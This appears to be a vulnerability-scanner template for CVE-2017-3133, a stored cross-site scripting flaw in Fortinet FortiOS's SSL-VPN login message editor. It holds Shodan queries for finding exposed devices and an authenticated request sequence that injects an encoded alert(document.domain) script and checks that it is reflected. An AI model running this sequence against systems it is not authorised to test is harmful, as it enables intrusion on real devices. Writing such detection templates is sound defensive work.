Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

id: CVE-2017-3133

info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3133
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3133
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}
        DNT: 1

        csrfmiddlewaretoken={{csrf}}&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A

      - |
        GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "</textarea><script>alert(document.domain)</script>"

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        name: csrf
        group: 2
        regex:
          - 'ccsrftoken_([0-9_a-z]+)="([A-Z0-9]+)";'
        internal: true
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